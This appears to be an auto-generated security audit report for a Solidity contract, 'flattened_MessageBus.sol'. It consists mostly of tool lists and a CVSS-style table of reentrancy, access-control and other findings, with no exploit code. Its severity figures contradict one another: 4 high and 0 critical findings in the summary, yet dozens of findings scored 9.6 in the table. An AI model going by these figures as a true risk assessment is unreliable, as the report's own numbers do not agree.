

# MIESC

Multi-layer Intelligent Evaluation for Smart Contracts

## Smart Contract Security Audit

`flattened_MessageBus.sol`

Client

Prepared by: **MIESC Security**

Audit Date: **2026-09-13**

Report Date: **2026-09-13 20:48:34**

Version: **1.0**

Network: **Ethereum Mainnet**

**CONFIDENTIAL**

This document contains confidential security findings and is intended solely for the addressee. Unauthorized distribution is prohibited.

# Table of Contents

- 1. Executive Summary
- 2. Scope & Methodology
- 3. Risk Assessment
- 4. Findings Overview
- 5. Detailed Findings
- 6. Remediation Roadmap
- 7. Appendices

## 1. Executive Summary

### 1.1 Key Takeaways

4 high-severity vulnerabilities identified, primarily access control issues. Immediate remediation required before deployment.

### 1.2 Deployment Recommendation

**Recommendation: NO-GO**

Contract has 4 high severity vulnerabilities. Fix all high severity issues before deployment.

### 1.3 Risk Summary

| METRIC             | VALUE  |
|--------------------|--------|
| Overall Risk Score | 85/100 |
| Exploitability     | Medium |
| Business Impact    | Medium |
| Confidence Level   | Low    |

## Findings by Severity

| SEVERITY      | COUNT | % OF TOTAL |
|---------------|-------|------------|
| Critical      | 0     | 0.0%       |
| High          | 4     | 1.7%       |
| Medium        | 130   | 56.3%      |
| Low           | 80    | 34.6%      |
| Informational | 17    | 7.4%       |
| Total         | 231   | 100%       |

## 1.4 Impact Assessment

Based on the identified vulnerabilities:

| IMPACT CATEGORY | ASSESSMENT                                        |
|-----------------|---------------------------------------------------|
| Confidentiality | Medium - Sensitive data or state could be exposed |
| Integrity       | Medium - Contract state could be manipulated      |
| Availability    | Medium - No significant availability risks        |

# 2. Scope & Methodology

## 2.1 Engagement Details

| PROPERTY        | VALUE                    |
|-----------------|--------------------------|
| Client          | Client                   |
| Contract        | flattened_MessageBus.sol |
| Repository      | Local Analysis           |
| Commit Hash     | N/A                      |
| Network         | Ethereum Mainnet         |
| Engagement Type | Security Audit           |

## 2.2 Scope

### In Scope

| FILE                                  | LINES | DESCRIPTION    |
|---------------------------------------|-------|----------------|
| <code>flattened_MessageBus.sol</code> | 822   | Smart Contract |

**Total:** 1 files, 822 lines of code

### Out of Scope

- External dependencies and imported libraries
- Off-chain components
- Economic/tokenomics analysis
- Frontend/backend applications

## 2.3 Methodology

This audit employed MIESC's comprehensive 9-layer defense-in-depth methodology:

|                              |       |           |
|------------------------------|-------|-----------|
| Layer 1: Static Analysis     | [     | Partial]  |
| Layer 2: Dynamic Testing     | [     | Complete] |
| Layer 3: Symbolic Execution  | [     | Complete] |
| Layer 4: Formal Verification | [     | Partial]  |
| Layer 5: Property Testing    | [ - - | Not Run]  |
| Layer 6: AI/LLM Analysis     | [     | Complete] |
| Layer 7: Pattern Recognition | [     | Partial]  |
| Layer 8: DeFi Security       | [     | Complete] |
| Layer 9: Advanced Detection  | [     | Complete] |

### Tools Utilized

| LAYER                    | TOOL         | VERSION | STATUS  |
|--------------------------|--------------|---------|---------|
| Layer 1: Static Analysis | slither      | latest  | Failed  |
| Layer 1: Static Analysis | aderyn       | latest  | Success |
| Layer 1: Static Analysis | solhint      | latest  | Success |
| Layer 1: Static Analysis | wake         | latest  | Success |
| Layer 1: Static Analysis | semgrep      | latest  | Success |
| unknown                  | fouranalyzer | latest  | Success |
| Layer 2: Dynamic Testing | echidna      | latest  | Success |
| Layer 2: Dynamic Testing | medusa       | latest  | Success |

| LAYER                        | TOOL               | VERSION | STATUS  |
|------------------------------|--------------------|---------|---------|
| Layer 2: Dynamic Testing     | foundry            | latest  | Success |
| Layer 2: Dynamic Testing     | dogefuzz           | latest  | Success |
| Layer 2: Dynamic Testing     | vertigo            | latest  | Success |
| Layer 2: Dynamic Testing     | hardhat            | latest  | Success |
| Layer 3: Symbolic Execution  | mythril            | latest  | Success |
| Layer 3: Symbolic Execution  | manticore          | latest  | Success |
| Layer 3: Symbolic Execution  | halmos             | latest  | Success |
| Layer 3: Symbolic Execution  | oyente             | latest  | Success |
| unknown                      | pakala             | latest  | Success |
| Layer 4: Formal Verification | certora            | latest  | Failed  |
| Layer 4: Formal Verification | smtchecker         | latest  | Success |
| Layer 4: Formal Verification | propertygpt        | latest  | Success |
| Layer 4: Formal Verification | scribble           | latest  | Success |
| unknown                      | solcmc             | latest  | Success |
| Layer 6: AI/LLM Analysis     | smartllm           | latest  | Success |
| Layer 6: AI/LLM Analysis     | gptscan            | latest  | Success |
| Layer 6: AI/LLM Analysis     | llmsmartaudit      | latest  | Success |
| unknown                      | gptlens            | latest  | Success |
| unknown                      | llamaaudit         | latest  | Success |
| unknown                      | iaudit             | latest  | Success |
| Layer 7: ML Detection        | dagnn              | latest  | Success |
| Layer 7: ML Detection        | smartbugs_ml       | latest  | Success |
| Layer 7: ML Detection        | smartbugs_detector | latest  | Success |
| Layer 7: ML Detection        | smartguard         | latest  | Failed  |
| unknown                      | peculiar           | latest  | Success |

| LAYER                         | TOOL                    | VERSION | STATUS  |
|-------------------------------|-------------------------|---------|---------|
| Layer 9: Specialized Analysis | threat_model            | latest  | Success |
| Layer 9: Specialized Analysis | gas_analyzer            | latest  | Success |
| Layer 8: DeFi Security        | mev_detector            | latest  | Success |
| Layer 9: Specialized Analysis | contract_clone_detector | latest  | Success |
| Layer 8: DeFi Security        | defi                    | latest  | Success |
| Layer 9: Specialized Analysis | advanced_detector       | latest  | Success |
| unknown                       | upgradability_checker   | latest  | Success |
| unknown                       | crosschain              | latest  | Success |
| unknown                       | zk_circuit              | latest  | Success |
| unknown                       | bridge_monitor          | latest  | Success |
| unknown                       | l2_validator            | latest  | Success |
| unknown                       | circom_analyzer         | latest  | Success |
| unknown                       | llmbugscanner           | latest  | Success |
| unknown                       | audit_consensus         | latest  | Success |
| unknown                       | exploit_synthesizer     | latest  | Success |
| unknown                       | vuln_verifier           | latest  | Success |
| unknown                       | remediation_validator   | latest  | Success |

## Audit Process

1. **Initial Assessment** - Review documentation, understand architecture
2. **Automated Analysis** - Execute multi-layer tool suite
3. **Manual Review** - Deep dive into flagged code sections
4. **AI Correlation** - Cross-reference findings, reduce false positives
5. **Verification** - Reproduce and validate vulnerabilities
6. **Report Generation** - Document findings with remediation guidance

## 2.4 Limitations

- Time-boxed engagement (N/A)
- Analysis based on code snapshot at commit N/A

- No guarantee of finding all vulnerabilities
- Economic attack vectors not fully modeled
- Dependency vulnerabilities may exist beyond analysis scope

## 3. Risk Assessment

### 3.1 Risk Matrix

The following matrix maps findings by **Impact** (vertical) and **Likelihood** (horizontal):

|          |      | LIKELIHOOD         |                      |                      |
|----------|------|--------------------|----------------------|----------------------|
|          |      | Low                | Medium               | High                 |
| IMPACT → | High | Medium<br><b>0</b> | High<br><b>4</b>     | Critical<br><b>0</b> |
|          | Med  | Low<br><b>0</b>    | Medium<br><b>130</b> | High<br><b>0</b>     |
|          | Low  | Info<br><b>17</b>  | Low<br><b>80</b>     | Medium<br><b>0</b>   |

### 3.2 CVSS-like Scoring

| FINDING ID         | TITLE               | BASE SCORE | VECTOR                                              |
|--------------------|---------------------|------------|-----------------------------------------------------|
| 4NALY-f5f1e60829f8 | centralization_risk | <b>3.1</b> | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALY-56c5c15a20ad | centralization_risk | <b>3.1</b> | AV:N/<br>AC:H/<br>PR:L/                             |



| FINDING ID         | TITLE               | BASE SCORE | VECTOR                                              |
|--------------------|---------------------|------------|-----------------------------------------------------|
|                    |                     |            | UI:N/<br>C:N/I:L/<br>A:N                            |
| 4NALY-6968f71a8ced | centralization_risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALY-cdc8a0750314 | centralization_risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALY-6b9bb4c55214 | centralization_risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALY-795cf7953847 | centralization_risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALY-0eef830835a8 | centralization_risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALY-74aedd6772af | centralization_risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALY-f3f11a778595 | centralization_risk | 3.1        | AV:N/<br>AC:H/                                      |

| FINDING ID          | TITLE                      | BASE SCORE | VECTOR                                              |
|---------------------|----------------------------|------------|-----------------------------------------------------|
|                     |                            |            | PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N                   |
| 4NALLY-3bd670ec936e | centralization_risk        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALLY-c89a545cd45d | missing_event_emission     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALLY-d11f477c965c | missing_event_emission     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALLY-9c1dc75dc603 | missing_event_emission     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALLY-806688a24132 | missing_event_emission     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| 4NALLY-2db9e015800d | missing_event_emission     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
|                     | eth-send-unchecked-address | 3.1        |                                                     |

| FINDING ID                            | TITLE                      | BASE SCORE | VECTOR                                              |
|---------------------------------------|----------------------------|------------|-----------------------------------------------------|
| aderyn-eth-send-unchecked-address-0-0 |                            |            | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-eth-send-unchecked-address-0-1 | eth-send-unchecked-address | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-eth-send-unchecked-address-0-2 | eth-send-unchecked-address | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-eth-send-unchecked-address-0-3 | eth-send-unchecked-address | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-reentrancy-state-change-1-0    | reentrancy-state-change    | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| aderyn-reentrancy-state-change-1-1    | reentrancy-state-change    | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| aderyn-reentrancy-state-change-1-2    | reentrancy-state-change    | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |

| FINDING ID                         | TITLE                   | BASE SCORE | VECTOR                                              |
|------------------------------------|-------------------------|------------|-----------------------------------------------------|
| aderyn-reentrancy-state-change-1-3 | reentrancy-state-change | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| aderyn-boolean-equality-2-0        | boolean-equality        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-boolean-equality-2-1        | boolean-equality        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-boolean-equality-2-2        | boolean-equality        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-boolean-equality-2-3        | boolean-equality        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-boolean-equality-2-4        | boolean-equality        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-boolean-equality-2-5        | boolean-equality        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/                    |

| FINDING ID                     | TITLE               | BASE SCORE | VECTOR                                              |
|--------------------------------|---------------------|------------|-----------------------------------------------------|
|                                |                     |            | C:N/I:L/<br>A:N                                     |
| aderyn-centralization-risk-3-0 | centralization-risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-centralization-risk-3-1 | centralization-risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-centralization-risk-3-2 | centralization-risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-centralization-risk-3-3 | centralization-risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-centralization-risk-3-4 | centralization-risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-centralization-risk-3-5 | centralization-risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-centralization-risk-3-6 | centralization-risk | 3.1        | AV:N/<br>AC:H/<br>PR:L/                             |

| FINDING ID                             | TITLE                       | BASE SCORE | VECTOR                                              |
|----------------------------------------|-----------------------------|------------|-----------------------------------------------------|
|                                        |                             |            | UI:N/<br>C:N/I:L/<br>A:N                            |
| aderyn-centralization-risk-3-7         | centralization-risk         | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-centralization-risk-3-8         | centralization-risk         | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-centralization-risk-3-9         | centralization-risk         | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-internal-function-used-once-4-0 | internal-function-used-once | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-internal-function-used-once-4-1 | internal-function-used-once | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-change-without-event-5-0  | state-change-without-event  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-0      | state-no-address-check      | 3.1        | AV:N/<br>AC:H/                                      |

| FINDING ID                        | TITLE                  | BASE SCORE | VECTOR                                              |
|-----------------------------------|------------------------|------------|-----------------------------------------------------|
|                                   |                        |            | PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N                   |
| aderyn-state-no-address-check-6-1 | state-no-address-check | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-2 | state-no-address-check | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-3 | state-no-address-check | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-4 | state-no-address-check | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-5 | state-no-address-check | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-6 | state-no-address-check | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-7 | state-no-address-check | 3.1        |                                                     |

| FINDING ID                            | TITLE                      | BASE SCORE | VECTOR                                              |
|---------------------------------------|----------------------------|------------|-----------------------------------------------------|
|                                       |                            |            | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-8     | state-no-address-check     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-9     | state-no-address-check     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-state-no-address-check-6-10    | state-no-address-check     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-unspecific-solidity-pragma-7-0 | unspecific-solidity-pragma | 2.1        | AV:N/<br>AC:H/<br>PR:H/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-unused-public-function-8-0     | unused-public-function     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-unused-public-function-8-1     | unused-public-function     | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |



| FINDING ID                        | TITLE                         | BASE SCORE | VECTOR                                              |
|-----------------------------------|-------------------------------|------------|-----------------------------------------------------|
| aderyn-unused-public-function-8-2 | unused-public-function        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-unused-public-function-8-3 | unused-public-function        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| aderyn-unused-public-function-8-4 | unused-public-function        | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| PKL-2a322123c2de                  | state_manipulation            | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| PKL-b81afca763a5                  | fund_extraction               | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| PKL-d300d4f23f03                  | privilege_escalation_sequence | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| PKL-4a90e122bb46                  | cross_function_vulnerability  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/                    |

| FINDING ID       | TITLE                 | BASE SCORE | VECTOR                                              |
|------------------|-----------------------|------------|-----------------------------------------------------|
|                  |                       |            | C:N/I:L/<br>A:N                                     |
| SCR-cebf4958b026 | precondition_failure  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-16dc1b1c0801 | precondition_failure  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-fd711a506f0a | postcondition_failure | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-8a22be89d5a9 | postcondition_failure | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-cf59ea320583 | postcondition_failure | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-f33af2862327 | postcondition_failure | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-16e1cede55f4 | postcondition_failure | 3.1        | AV:N/<br>AC:H/<br>PR:L/                             |

| FINDING ID       | TITLE                    | BASE SCORE | VECTOR                                              |
|------------------|--------------------------|------------|-----------------------------------------------------|
|                  |                          |            | UI:N/<br>C:N/I:L/<br>A:N                            |
| SCR-a588198d1238 | postcondition_failure    | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-5100463bd11d | postcondition_failure    | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-5b38a1ca15ef | postcondition_failure    | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-4d24ff60ccf3 | access_control_violation | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| SCR-d25bc1163ebd | access_control_violation | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| SCR-285aab75801d | state_invariant_break    | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-20cd988074bd | state_invariant_break    | 3.1        | AV:N/<br>AC:H/                                      |

| FINDING ID       | TITLE                       | BASE SCORE | VECTOR                                              |
|------------------|-----------------------------|------------|-----------------------------------------------------|
|                  |                             |            | PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N                   |
| SCR-5bb014568d7d | state_invariant_break       | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-7145721c47e8 | state_invariant_break       | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-7bec4831da67 | state_invariant_break       | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-fec672432892 | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-8399fc900bcc | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-d279ecb278a7 | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-cb8606de956c | missing_annotation_coverage | 3.1        |                                                     |

| FINDING ID       | TITLE                       | BASE SCORE | VECTOR                                              |
|------------------|-----------------------------|------------|-----------------------------------------------------|
|                  |                             |            | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-0defc906dcfe | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-63c93ae2ff0a | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-4982c31e87cd | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-28999eb5f9c9 | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-f6233829ffd5 | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-6566e8a34a72 | missing_annotation_coverage | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |

| FINDING ID       | TITLE                        | BASE SCORE | VECTOR                                              |
|------------------|------------------------------|------------|-----------------------------------------------------|
| SCR-11fe48db2b6d | missing_annotation_coverage  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-fb62c23b550c | missing_annotation_coverage  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-265f1e5be8c9 | missing_annotation_coverage  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-0ecf6a65c871 | missing_annotation_coverage  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-3126b3d527a3 | missing_annotation_coverage  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| SCR-c27888fe77c2 | missing_annotation_coverage  | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| iaudit-pattern-4 | Integer Overflow / Underflow | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/                    |

| FINDING ID       | TITLE                          | BASE SCORE | VECTOR                                              |
|------------------|--------------------------------|------------|-----------------------------------------------------|
|                  |                                |            | C:N/I:H/<br>A:N                                     |
| iaudit-pattern-5 | Integer Overflow / Underflow   | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N |
| iaudit-pattern-6 | Integer Overflow / Underflow   | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N |
| iaudit-pattern-1 | Access Control Issue           | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| iaudit-pattern-2 | Access Control Issue           | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| iaudit-pattern-3 | Access Control Issue           | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| iaudit-pattern-7 | Uninitialized Storage Variable | 8.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:L |
| iaudit-pattern-8 | Uninitialized Storage Variable | 8.6        | AV:N/<br>AC:L/<br>PR:N/                             |

| FINDING ID                          | TITLE                          | BASE SCORE | VECTOR                                              |
|-------------------------------------|--------------------------------|------------|-----------------------------------------------------|
|                                     |                                |            | UI:N/<br>C:N/I:H/<br>A:L                            |
| iaudit-pattern-9                    | Uninitialized Storage Variable | 8.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:L |
| DAGNN-<br>INTEGER_OVERFLOW-4f9ba932 | ml_detected_vulnerability      | 3.1        | AV:N/<br>AC:H/<br>PR:L/<br>UI:N/<br>C:N/I:L/<br>A:N |
| UNK                                 | integer_overflow               | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N |
| SB-FRONT_RUNNING-1                  | Front-Running Vulnerability    | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N |
| SB-FRONT_RUNNING-2                  | Front-Running Vulnerability    | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N |
| SB-FRONT_RUNNING-3                  | Front-Running Vulnerability    | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N |
| SB-FRONT_RUNNING-4                  | Front-Running Vulnerability    | 6.2        | AV:N/<br>AC:H/                                      |



| FINDING ID         | TITLE                       | BASE SCORE | VECTOR                                              |
|--------------------|-----------------------------|------------|-----------------------------------------------------|
|                    |                             |            | PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N                   |
| SB-FRONT_RUNNING-5 | Front-Running Vulnerability | 6.2        | AV:N/<br>AC:H/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:N |
| SB-REENTRANCY-6    | Reentrancy Vulnerability    | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| SB-REENTRANCY-7    | Reentrancy Vulnerability    | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| SB-REENTRANCY-8    | Reentrancy Vulnerability    | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| SB-REENTRANCY-9    | Reentrancy Vulnerability    | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| SB-REENTRANCY-10   | Reentrancy Vulnerability    | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| SB-REENTRANCY-11   | Reentrancy Vulnerability    | 9.6        |                                                     |

| FINDING ID           | TITLE                    | BASE SCORE | VECTOR                                              |
|----------------------|--------------------------|------------|-----------------------------------------------------|
|                      |                          |            | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| SB-REENTRANCY-12     | Reentrancy Vulnerability | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
| SB-ACCESS_CONTROL-13 | Missing Access Control   | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| SB-ACCESS_CONTROL-14 | Missing Access Control   | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| SB-ACCESS_CONTROL-15 | Missing Access Control   | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| SB-ACCESS_CONTROL-16 | Missing Access Control   | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |
| SB-ACCESS_CONTROL-17 | Missing Access Control   | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:H/I:H/<br>A:N |

| FINDING ID                            | TITLE          | BASE SCORE | VECTOR                                              |
|---------------------------------------|----------------|------------|-----------------------------------------------------|
| PECULIAR-REENTRANCY-7d0a8128-0000     | reentrancy     | 9.6        | AV:N/<br>AC:L/<br>PR:N/<br>UI:N/<br>C:N/I:H/<br>A:H |
